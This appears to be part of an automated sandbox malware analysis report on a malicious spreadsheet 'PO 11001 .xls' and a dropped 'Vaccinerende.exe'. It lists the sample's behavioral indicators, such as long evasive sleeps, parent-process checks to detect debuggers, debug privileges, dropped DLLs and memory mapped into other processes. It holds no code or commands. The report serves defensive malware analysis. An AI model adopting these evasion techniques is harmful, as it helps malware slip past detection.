Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\cmd.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\cmd.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\cmd.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: PO 11001 .xls Stream path 'Workbook' entropy: 7.99942451923 (max. 8.0)
Source: 54230000.0.dr Stream path 'Workbook' entropy: 7.99946274459 (max. 8.0)

Malware Analysis System Evasion
barindex
Switches to a custom stack to bypass stack traces
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe API/Special instruction interceptor: Address: 4FA6CCD
Contains functionality to check the parent process ID (often done to detect debuggers and analysis systems)
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Code function: 34_2_0040DD85 memset,CreateFileW,NtQuerySystemInformation,NtQuerySystemInformation,CloseHandle,GetCurrentProcessId,_wcsicmp,_wcsicmp,_wcsicmp,OpenProcess,GetCurrentProcess,DuplicateHandle,memset,NtQueryObject,CloseHandle,_wcsicmp,CloseHandle, 34_2_0040DD85
Contains long sleeps (>= 3 min)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 7144 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 2813 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 4738 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 5120 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 729
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 1131
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 2503
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 1006
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 766
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 414
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 1665
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 922
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 3214
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 711
Found dropped PE file which has not been started or loaded
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\sm41lsyu\sm41lsyu.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\r4gn3nq1\r4gn3nq1.dll Jump to dropped file
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Windows\System32\mshta.exe TID: 3944 Thread sleep time: -420000s >= -30000s Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4072 Thread sleep count: 7144 > 30 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4072 Thread sleep count: 2813 > 30 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3116 Thread sleep time: -120000s >= -30000s Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3136 Thread sleep time: -1844674407370954s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 2076 Thread sleep time: -360000s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 2432 Thread sleep time: -1844674407370954s >= -30000s Jump to behavior
Source: C:\Windows\System32\mshta.exe TID: 724 Thread sleep time: -480000s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2592 Thread sleep count: 729 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2096 Thread sleep count: 1131 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2860 Thread sleep time: -240000s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2976 Thread sleep time: -3689348814741908s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1180 Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3904 Thread sleep time: -360000s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3908 Thread sleep time: -2767011611056431s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe TID: 2444 Thread sleep time: -180000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe TID: 2012 Thread sleep time: -120000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe TID: 904 Thread sleep time: -60000s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 1840 Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 824 Thread sleep time: -60000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe TID: 3928 Thread sleep time: -120000s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 1932 Thread sleep count: 1665 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 1932 Thread sleep count: 199 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3724 Thread sleep time: -360000s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3988 Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3988 Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3936 Thread sleep count: 922 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3976 Thread sleep time: -60000s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3060 Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe TID: 2108 Thread sleep time: -120000s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 2592 Thread sleep count: 3214 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3648 Thread sleep time: -360000s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3780 Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3760 Thread sleep count: 711 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3780 Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe TID: 3484 Thread sleep time: -120000s >= -30000s
Sample execution stops while process was sleeping (likely an evasion)
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Last function: Thread delayed
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Last function: Thread delayed
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Last function: Thread delayed
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Last function: Thread delayed
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Last function: Thread delayed
Source: C:\Users\user\AppData\Roaming\dllhost.exe Code function: 11_2_0040595A GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose, 11_2_0040595A
Source: C:\Users\user\AppData\Roaming\dllhost.exe Code function: 11_2_00402862 FindFirstFileW, 11_2_00402862
Source: C:\Users\user\AppData\Roaming\dllhost.exe Code function: 11_2_0040658F FindFirstFileW,FindClose, 11_2_0040658F
Source: C:\Users\user\AppData\Roaming\dllhost.exe Code function: 23_2_0040595A GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose, 23_2_0040595A
Source: C:\Users\user\AppData\Roaming\dllhost.exe Code function: 23_2_00402862 FindFirstFileW, 23_2_00402862
Source: C:\Users\user\AppData\Roaming\dllhost.exe Code function: 23_2_0040658F FindFirstFileW,FindClose, 23_2_0040658F
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Code function: 33_2_0040595A GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose, 33_2_0040595A
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Code function: 33_2_00402862 FindFirstFileW, 33_2_00402862
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Code function: 33_2_0040658F FindFirstFileW,FindClose, 33_2_0040658F
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Code function: 34_2_0040AE51 FindFirstFileW,FindNextFileW, 34_2_0040AE51
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Code function: 35_2_00407EF8 FindFirstFileA,FindNextFileA,strlen,strlen, 35_2_00407EF8
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Code function: 36_2_00407898 FindFirstFileA,FindNextFileA,strlen,strlen, 36_2_00407898
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Code function: 34_2_00418981 memset,GetSystemInfo, 34_2_00418981
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe File opened: C:\Users\user\AppData\Local\Temp\wvibksbfizuvagm
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe File opened: C:\Users\user\AppData\Local\Temp\
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe File opened: C:\Users\user\AppData\
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe File opened: C:\Users\user\AppData\Local\
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe File opened: C:\Users\user\AppData\Local\Temp\tsdrjareurci
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe File opened: C:\Users\user\
Source: C:\Users\user\AppData\Roaming\dllhost.exe API call chain: ExitProcess graph end node
Source: C:\Users\user\AppData\Roaming\dllhost.exe API call chain: ExitProcess graph end node
Source: C:\Users\user\AppData\Roaming\dllhost.exe API call chain: ExitProcess graph end node
Source: C:\Users\user\AppData\Roaming\dllhost.exe API call chain: ExitProcess graph end node
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe API call chain: ExitProcess graph end node
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information queried: ProcessInformation Jump to behavior
Contains functionality to check the parent process ID (often done to detect debuggers and analysis systems)
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Code function: 34_2_0040DD85 memset,CreateFileW,NtQuerySystemInformation,NtQuerySystemInformation,CloseHandle,GetCurrentProcessId,_wcsicmp,_wcsicmp,_wcsicmp,OpenProcess,GetCurrentProcess,DuplicateHandle,memset,NtQueryObject,CloseHandle,_wcsicmp,CloseHandle, 34_2_0040DD85
Contains functionality to dynamically determine API calls
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Code function: 34_2_004044A4 LoadLibraryW,GetProcAddress,FreeLibrary,MessageBoxW, 34_2_004044A4
Enables debug privileges
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process token adjusted: Debug Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process token adjusted: Debug Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process token adjusted: Debug
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process token adjusted: Debug
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Process token adjusted: Debug
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process token adjusted: Debug
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process token adjusted: Debug
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Process token adjusted: Debug
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process token adjusted: Debug
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process token adjusted: Debug
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Process token adjusted: Debug
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Process token adjusted: Debug
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Process token adjusted: Debug

HIPS / PFW / Operating System Protection Evasion
barindex
Maps a DLL or memory area into another process
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Section loaded: NULL target: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe protection: execute and read and write
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Section loaded: NULL target: C:\Windows\System32\cmd.exe protection: execute and read and write
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Section loaded: NULL target: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe protection: execute and read and write
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Section loaded: NULL target: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe protection: execute and read and write
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Section loaded: NULL target: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe protection: execute and read and write
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Section loaded: NULL target: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe protection: execute and read and write
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Section loaded: NULL target: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe protection: execute and read and write
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Section loaded: NULL target: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe protection: execute and read and write
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Section loaded: NULL target: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe protection: execute and read and write
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Section loaded: NULL target: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe protection: execute and read and write
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Section loaded: NULL target: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe protection: execute and read and write
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Section loaded: NULL target: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe protection: execute and read and write
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Section loaded: NULL target: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe protection: execute and read and write
